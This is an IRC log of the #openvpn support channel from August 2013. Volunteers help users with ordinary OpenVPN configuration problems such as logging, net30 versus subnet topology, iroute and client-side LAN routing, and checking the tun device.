21:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
21:58 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 256 seconds]
22:02 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
22:14 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Remote host closed the connection]
22:36 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
22:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
22:49 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
22:53 -!- sgharms [~sgharms@192.241.203.189] has joined #openvpn
22:54 < sgharms> Helllo, I run ubuntu server and am loving openvpn. By default all of the log data from openvpn is going into my syslog (managed by rsyslogd). Is there a way to get openvpn data to be written to another config file?  I tried the rule openvpn.* /var/log/openvpn.log with no luck.  Any pointers?
23:01 <@EugeneKay> --log ?
23:05 < sgharms> EugeneKay: I was thinking i had to configure it in syslog
23:05 < sgharms> but it seems that hte log-append directive in server.conf might be sufficient
23:05 <@EugeneKay> You could ;-)
23:05 <@EugeneKay> But that's a syslog config problem, not an #openvpn one
23:06 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Quit: No Ping reply in 180 seconds.]
23:06 < sgharms> Well, if the advice from #openvpn is "use your conf file, dont' mess with syslog" it will save me from seeking in the other domain
23:06 <@EugeneKay> Tada
23:06 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 276 seconds]
23:09 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
23:10 < sgharms> thanks EugeneKay
23:10 -!- sgharms [~sgharms@192.241.203.189] has left #openvpn []
23:35 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-bkwmigecmjxzllwm] has quit [Read error: Connection reset by peer]
23:36 -!- sandeepr_ltp [~sandeepr_@15.211.201.83] has joined #openvpn
--- Day changed Tue Aug 06 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:01 -!- Poster [~poster@173.88.28.119] has quit [Ping timeout: 256 seconds]
00:57 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:18  * dupondje is happy to see his bug is already fixed :)
01:29 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
01:36 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
01:53 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
02:32 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:01 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
03:03 -!- pouete [~pouete@unaffiliated/pouete] has left #openvpn []
03:05 -!- jzaw_ is now known as jzaw
03:30 -!- Denial [Denial@90.202.5.141] has joined #openvpn
03:38 -!- Hagabard [~hagabard@66-188-207-39.dhcp.roch.mn.charter.com] has quit [Ping timeout: 276 seconds]
03:47 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 246 seconds]
04:08 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
04:18 -!- sandeepr_ltp [~sandeepr_@15.211.201.83] has quit [Ping timeout: 240 seconds]
04:18 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ubjgiglljkbtgczv] has joined #openvpn
04:21 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 246 seconds]
04:27 -!- FuryFoo [~opera@server.mastermindnetworks.org] has joined #openvpn
04:27 < FuryFoo> Hey guys
04:27 < FuryFoo> I was wondering if anyone tried or knows how to set up a small server on Google's App Engine
04:34 -!- trine [~trine@trine1-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn
04:42 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has joined #openvpn
04:44 < lupine> hi. I'm just setting up an openvpn server, in server-client mode, and trying to route a /29 to a client. I'm in tap mode as that's all the client config interface supports, and the server says "iroute only works with tun-style tunnel"
04:44 < lupine> is there an alternative configuration directive I should use?
04:56 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
05:05 -!- FuryFoo [~opera@server.mastermindnetworks.org] has left #openvpn []
05:25  * lupine got it with route-up /sbin/ip route add ...
05:27 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ubjgiglljkbtgczv] has quit [Ping timeout: 248 seconds]
05:28 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-qvgjeieewhorhkqd] has joined #openvpn
05:30 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
05:38 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
05:43 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:00 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
06:03 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-qvgjeieewhorhkqd] has quit [Ping timeout: 256 seconds]
06:04 -!- aegis [~aegis@tsn109-201-135-220.dyn.nltelcom.net] has quit [Ping timeout: 264 seconds]
06:14 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
06:15 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
06:27 -!- JSharpe [~JSharpe@188.227.181.234] has joined #openvpn
06:39 -!- BadAtom [~epigramma@supporter/active/BadAtom] has quit [Ping timeout: 245 seconds]
06:53 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
06:54 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 264 seconds]
06:56 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
07:29 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
07:47 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 264 seconds]
08:00 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 264 seconds]
08:02 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
08:05 -!- JSharpe [~JSharpe@188.227.181.234] has quit [Ping timeout: 240 seconds]
08:08 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
08:12 -!- Joal [~joacl@ti0021a380-dhcp3769.bb.online.no] has joined #openvpn
08:13 < Joal> How do I configure/add vpn connection in mint 15 cinnamon?
08:14 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 240 seconds]
08:17 < Joal> anyone?
08:19 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
08:21 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
08:21 -!- Joal [~joacl@ti0021a380-dhcp3769.bb.online.no] has left #openvpn ["Leaving"]
08:36 -!- mattock_afk is now known as mattock
08:42 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
08:49 -!- Hagabard [~hagabard@66-188-207-39.dhcp.roch.mn.charter.com] has joined #openvpn
08:56 -!- JSharpe [~JSharpe@90.210.206.89] has joined #openvpn
09:00 -!- sobersab1e [~sobersabr@bzq-79-182-187-117.red.bezeqint.net] has joined #openvpn
09:00 -!- sobersabre [~sobersabr@109.65.188.239] has quit [Read error: Connection reset by peer]
09:17 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
09:36 -!- Dave is now known as Dave2
09:36 -!- JSharpe [~JSharpe@90.210.206.89] has quit [Ping timeout: 245 seconds]
09:37 -!- fester [~fester@205.185.122.76] has quit [Changing host]
09:37 -!- fester [~fester@rhlug/fester] has joined #openvpn
09:39 <@krzee> joel, the same as any other os
09:40 <@krzee> !howto
09:40 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
09:40 <@krzee> oh he left
10:06 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
10:10 -!- p3rror [~p3rror@41.248.207.220] has joined #openvpn
10:14 -!- takamichi [~takamichi@92.251.122.219] has joined #openvpn
10:16 -!- raidz_away is now known as raidz
10:30 -!- REdOG [~REdOG@12.208.129.98] has joined #openvpn
10:30 < rob0> Wow, Dan Farmer himself on the mailing list!
10:30 -!- Denial- [Denial@90.202.5.141] has joined #openvpn
10:31 < rob0> dazo_afk, good reply.
10:32 < rob0> Seems odd that he'd pipe up against a new feature which really DOES improve usability.
10:32 -!- Denial [Denial@90.202.5.141] has quit [Ping timeout: 256 seconds]
10:32 -!- Denial- is now known as Denial
10:52 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:55 -!- dansmithbtc2 [dansmithbt@unaffiliated/dansmith-btc/x-0355117] has joined #openvpn
10:59 < dansmithbtc2> Hi, is it possible to create a client-to-client connection via a central OpenVPN server, so that the central server wouldn't be able to decrypt the client-to-client traffic?
11:00 < Aketzu> run openvpn inside openvpn tunnel
11:01 < Aketzu> (or any other tunnel)
11:02 < kisom> dansmithbtc2: Short answer, no.
11:04 <+pekster> Generally you'll use end-to-end encryption (eg: https, ssh, or any cryptographically strong protocol) when you are sending data across a transport layer (OpenVPN in this case) that the 2 endpoints wish to keep secret
11:09 -!- p3rror [~p3rror@41.248.207.220] has quit [Ping timeout: 240 seconds]
11:10 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 248 seconds]
11:16 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
11:19 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
11:23 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
11:30 < REdOG> just got a vpn connecting but i cannot seem to get anything routing. why would my tun0 on the server show a destination different than the clients tun0 ip?
11:34 <@krzee> thats the next hop
11:35 <@krzee> where is the lan you want to route to/from
11:36 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
11:36 < REdOG> 10.0.0.0/8 <-> 192.168.169.0/24 <-> 192.168.69.0/24
11:36 <@krzee> i mean
11:37 <@krzee> X subnet is behind client X
11:37 <@krzee> Y subnet is behind server
11:37 < REdOG> 10 subnet is behind server
11:37 < REdOG> 192.168.69 is behind client
11:37 <@krzee> have you read my writeup?
11:37 <@krzee> !route
11:37 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
11:37 <@vpnHelper> the server or client
11:40 < REdOG> does the server need a push if there's only one client?
11:42 <@krzee> nothing changes
11:42  * REdOG can't even get the two endpoints to ping one another
11:42 <@krzee> even if 1 client, everything is needed
11:42 <@krzee> ohhh
11:43 < REdOG> I have that line in there
11:43 <@krzee> if you still cant ping by vpn ip, you arent at routing yet
11:43 < REdOG> s/have/had
11:43 < REdOG> thats what I thought
11:43 <@krzee> first you want a basic connection :)
11:44 < REdOG> my server tun0  shows inet 192.168.169.1 but the client destination tun0 shows 169.9
11:44 < REdOG> I don't understand why it's not just swapped on teh two ends
11:45 < REdOG> client tun0 ip is assigned 192.168.169.10
11:45 < REdOG> seems like the destinations aren't set properly on either side
11:47 <+pekster> That's normal if you're using net30 topology: the recommendation is to use the subnet topology
11:47 <+pekster> !/30
11:47 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
11:48 <+pekster> The only reason to ever use net30 is if you need to support Windows clients before 2.1.x (those are over 6 years old)
11:48 < REdOG> ok
11:48 < REdOG> no windows clients here
11:48 <+pekster> But it's valid
11:49 <+pekster> You never ping that address directly; the server will always logically use the IP you've given it (usually .1 in a /24, but technically you can change that too
11:49 < REdOG> I found the pings
11:50 < REdOG> tcpdump ftw
11:52 < REdOG> oopsie iptables rule :/
12:14 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Quit: leaving]
12:20 -!- EmperorTom [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
12:20 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:33 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
12:40  * REdOG still can't get it
12:40 < REdOG> i can ping from client to behind server
12:40 < REdOG> but cannot ping from behind client to behind server
12:41 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:42 <@krzee> !clientlan
12:42 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
12:42 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
12:43 < REdOG> the packet makes it to the tun0 on the client though
12:44  * REdOG just doesn't know where it goes from there
12:48 <+pekster> So look at the client's routing table?
12:48 <+pekster> It's either a routing or firewall issue if the packet isn't delivered
12:49 < REdOG> the client itself can ping through to the server lan though
12:49 <+pekster> That doesn't mean the server (or a server-side LAN) can reach things *behind* the client though
12:49 <+pekster> (hence the flowcharts)
12:49 -!- walp [~walp@69.197.136.186] has quit [Ping timeout: 240 seconds]
12:49 <+pekster> I'm guessing either a firewall issue, or no return route
12:51 < REdOG> well if the packet gets to the lan client and back then it's route is ok right?
12:51 <+pekster> Sure. Are you able to ping from the server to a system on a LAN behind the client and get the reply?
12:52 < REdOG> not yet
12:52 <+pekster> Then why do you assume "the route is okay" ?
12:52 <+pekster> !clientlan
12:52 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
12:52 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
12:52 <+pekster> Every single step is detailed for you there
12:52 <+pekster> And the flowchart tells you exactly what is wrong
12:52 <+pekster> So, where did you end up? What component is the issue?
12:53 < REdOG> because it can reach the far side of the client
12:53 <@krzee> do you have iroute?
12:54 < REdOG> iroute?
12:54 <@krzee> you sure you read anything we said?
12:54 <@krzee> it'd described in detail in !route and one of only 3 things in !clientlan
12:55 < REdOG> sorry im a bit delerious and !ir looks like !r to me
12:55 <@krzee> !route
12:55 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
12:55 <@vpnHelper> the server or client
12:55 <@krzee> its a link, read it
12:55 <@krzee> or, READ IT DONT SKIM IT!
12:55 <@krzee> also:
12:56 <@krzee> !clientlan
12:56 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
12:56 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
12:56 <@krzee> READ IT DONT SKIM IT!
12:56 -!- trine [~trine@trine1-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has left #openvpn ["Leaving"]
12:56 < REdOG> I have
12:56 < REdOG> my ccd is incorrect
12:56 < REdOG> iroute != route
12:56  * REdOG never heard of iroute either
12:57 <@krzee> it is described in detail at the link in !route
12:57 <@krzee> there is NO way you read that and never heard of iroute
12:59 <+pekster> There is also no way you can route across an OpenVPN link to a client-side LAN without iroute
12:59 <@krzee> which you would know if you read http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing
12:59 <@vpnHelper> Title: OpenVPN/Routing - Secure Computing Wiki (at www.secure-computing.net)
13:00 <+pekster> (this is part of what the reading at !route and !clientlan equips you to deal with)
13:07 < rob0> iheard of iroute, it's an Apple thing
13:08 < rob0> ihop to the IHOP and get irate at Irene the waitress
13:23 -!- vip2584 [~vip2584@91-115-124-175.adsl.highway.telekom.at] has joined #openvpn
13:25 < vip2584> good evening :-)
13:35 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 240 seconds]
13:35 -!- vip2584 [~vip2584@91-115-124-175.adsl.highway.telekom.at] has quit [Quit: Leaving]
13:39 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 246 seconds]
13:45 < REdOG> how do I confirm that an iroute is sent? with that line my entire client network just dies
13:46 < Aketzu> what does client log say?
13:48 < REdOG> no mention or iroute
13:48 < REdOG> of*
13:49 <@krzee> it'll be in the server log
13:49 <@krzee> when the client connects
13:49 <@krzee> look with verb 4
13:50 <@krzee> it'll be a line with "MULTI" in it
13:50 < REdOG> got it
13:50 < REdOG> tks
13:50  * REdOG needs new eyes 
13:50 < REdOG> too many typos today
13:57 < rob0> !openvpn
13:58 <@krzee> !download
13:58 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
13:58 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
13:59 <@krzee> !git
13:59 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git
13:59 < rob0> OpenVPN's Windows installer now includes OpenVPN GUI.
14:04 < rob0> https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem
14:04 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net)
14:07 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
14:07 <@vpnHelper> Title: OpenVPN GUI / Code / [10c32f] (at sourceforge.net)
14:24 -!- kirin` [telex@gateway/shell/anapnea.net/x-prxrvzjwwvgeliod] has quit [Ping timeout: 240 seconds]
14:26 -!- kirin` [telex@gateway/shell/anapnea.net/x-hjtvskepiuktvzyd] has joined #openvpn
14:34 -!- takamichi [~takamichi@92.251.122.219] has quit [Quit: Computer has gone to sleep.]
15:06 <+pekster> I've build 2.3.2 recently (last week) with the build instructions (using the recommended ubuntu cross-compile-for-windows deal) and it works great
15:06 <+pekster> No clue about MSVC since I try to avoid commercial payware closed-source IDE's when I can avoid it
15:08 <+pekster> Generally any issue you have using the openvpn-build project will be local library issues for the required deps as the system downloads the source tarballs for anything else you ask it to build (openssl, openvpn, openvpn-gui, etc)
15:11 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
15:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:29 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
15:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:40 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
15:49 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 264 seconds]
15:49 -!- JSharpe [~JSharpe@37.220.15.234] has joined #openvpn
15:56 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:56 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has joined #openvpn
15:56 -!- Denial [Denial@90.202.5.141] has quit []
15:57 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has quit [Client Quit]
15:58 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:07 -!- dazol [~dazo@2001:470:de40:1021::14] has joined #openvpn
16:07 -!- dazol is now known as dazo
16:07 -!- dazo [~dazo@2001:470:de40:1021::14] has quit [Changing host]
16:08 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
16:08 -!- mode/#openvpn [+o dazo] by ChanServ
16:09 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
16:12 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
16:16 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
16:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:34 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 248 seconds]
16:42 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
16:52 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
17:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
17:03 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
17:15 -!- JSharpe [~JSharpe@37.220.15.234] has quit [Ping timeout: 246 seconds]
17:41 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has quit [Ping timeout: 264 seconds]
17:43 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has joined #openvpn
17:43 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
17:44 < Kalavera> is there anything that I need to take care off when I shift a ccd file, for example from name-1 to name-2 with the same configuration inside?
17:44 < Kalavera> I have connectivity to the vpn IP which is 10.5.0.4 but not with the LAN IP which is 10.4.0.1
17:53 <+pekster> Kalavera: "shift" as in move, or copy? If you're revoking and re-issuing a certificate with a new CN, you could copy (or even symlink) it without issue
17:53 <+pekster> If the ccd file pushes an IP, it would be problematic to give 2 clients that concurrently connect the same IP, for instance
18:00 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
18:00 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
18:07 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:13 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
18:26 -!- zu_ [~zu@ks387228.kimsufi.com] has quit [Read error: Operation timed out]
18:26 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:30 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
18:35 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has joined #openvpn
18:35 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has quit [Read error: Connection reset by peer]
18:49 -!- master_o1_master [~master_of@p4FF24970.dip0.t-ipconnect.de] has joined #openvpn
18:52 -!- master_of_master [~master_of@p4FF24836.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
18:56 -!- klein [~klein@187.85.182.246] has joined #openvpn
18:56 -!- klein [~klein@187.85.182.246] has quit [Changing host]
18:56 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:08 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
19:19 -!- danielcorvalan [~danielcor@186.9.140.56] has joined #openvpn
19:20 < danielcorvalan> hi, I'm trying to download openvpn through private tunnel but it seems impossible to
19:20 < danielcorvalan> could I get some help?
19:20 <+pekster> !as
19:21 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
19:21 <+pekster> This channel supports the GPL OpenVPN product, not any commercial services, "providers", or the "Access Server" or "Connect" non-free products
19:22 -!- p3rror [~p3rror@41.248.207.220] has joined #openvpn
19:24 -!- HaxCore [~p3rror@41.249.139.87] has joined #openvpn
19:26 -!- danielcorvalan [~danielcor@186.9.140.56] has left #openvpn []
19:27 -!- p3rror [~p3rror@41.248.207.220] has quit [Ping timeout: 264 seconds]
19:28 -!- HaxCore [~p3rror@41.249.139.87] has quit [Client Quit]
19:28 -!- p3rror [~p3rror@41.249.139.87] has joined #openvpn
19:38 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
19:47 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
19:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
19:55 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
19:56 -!- sobersabre [~sobersabr@bzq-79-179-200-208.red.bezeqint.net] has joined #openvpn
19:58 -!- sobersab1e [~sobersabr@bzq-79-182-187-117.red.bezeqint.net] has quit [Ping timeout: 248 seconds]
19:59 -!- raidz is now known as raidz_away
20:13 -!- p3rror [~p3rror@41.249.139.87] has quit [Ping timeout: 246 seconds]
20:21 < badtab> Why? # cat /dev/net/tun; tun: Operation not permitted
20:23 -!- _bt [foobar@unaffiliated/bt/x-192343] has quit [Ping timeout: 260 seconds]
20:25 -!- _bt [foobar@77.240.12.157] has joined #openvpn
20:29 <@EugeneKay> We do support beer
20:29 <@EugeneKay> Beer for all!
20:34 <+pekster> badtab: You don't directly use that device node; a userland application creates an *instance* of a tun interface using the kernel tun driver support
20:34 <+pekster> This is the same concept as using /dev/tcp/host/port in bash: bash isn't "the IP (or TCP) stack" itself, but merely opening a socket leveraging that stack
20:36 < badtab> pekster: so, my confusion comes from normally executing this as a user instead of now, when i'm root, looking at the actual device?
20:37 <+pekster> No
20:37 <+pekster> You never use "/dev/net/tun" yourself. Ever.
20:39 <+pekster> What are you atetmpting to achieve by performing a cat on that device node? That's not anything you should be thinking about if you're attempting to use openvpn (and if you're trying to "learn how tun works" you're in the wrong place -- try a kernel developpment channel if that's your goal)
20:40 < badtab> pekster: http://wiki.vpslink.com/TUN/TAP_device_with_OpenVPN_or_Hamachi
20:40 <@vpnHelper> Title: TUN/TAP device with OpenVPN or Hamachi - VPSLink Wiki (at wiki.vpslink.com)
20:40 < badtab> pekster: I'm just testing if the device is available.
20:40 <+pekster> Stop using shitty guides
20:40 <+pekster> ls -l on the device node; if it's a character device of type 10 200, then you're fine
20:40 <+pekster> If not, build the required support into your kernel (or load the tun module) to provide it
20:41 <+pekster> !howto
20:41 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
20:41 <+pekster> We do not support unofficial howtos for the reason you've just discovered: they're often old, misleading, or in this case, outright wrong
20:42 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 260 seconds]
20:43 < badtab> pekster: appreciate your candor. back to work :)
20:44 <@EugeneKay> !blog
20:44 <@vpnHelper> "blog" is Do not follow blog posts for openvpn. They are wrong, they are old, they are written by fools. We won't read them, or troubleshoot them.
20:44  * EugeneKay teaches pekster the zen of bot abuse
20:44 <+pekster> Hey, to my defense I read that one and *then* laughed at it :)
20:45 < badtab> no one appreciates my "candor" pun
20:45  * badtab cries
20:45 <+pekster> Some of the 2.2 and 2.4 kernel days (before module auto-loading and devtmpfs) more magic was requied; thesedays the new kernel ioctls (in both BSD and Linux) generally just "make it work"
20:45 <+pekster> Sadly, people today have 3.4 or higher kernels and still try to follow guides authored in 2003 or something
20:46 <@EugeneKay> People are idiots
20:46 <+pekster> badtab: It didn't go unnoticed, just un-commented. fwiw, we're candid because we see the same issues a lot (hence why the bot has all sorts of good info)
20:47 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
20:57 -!- user2 [~user@ovpn.t28.net] has quit [Ping timeout: 260 seconds]
21:08 -!- user2 [~user@ovpn.t28.net] has joined #openvpn
21:15 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 264 seconds]
21:25 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has joined #openvpn
21:26 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:46 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ogehyijtrwsvtucd] has joined #openvpn
21:54 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 246 seconds]
22:14 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
22:27 -!- Poster|w [poster@shell.bshellz.net] has joined #openvpn
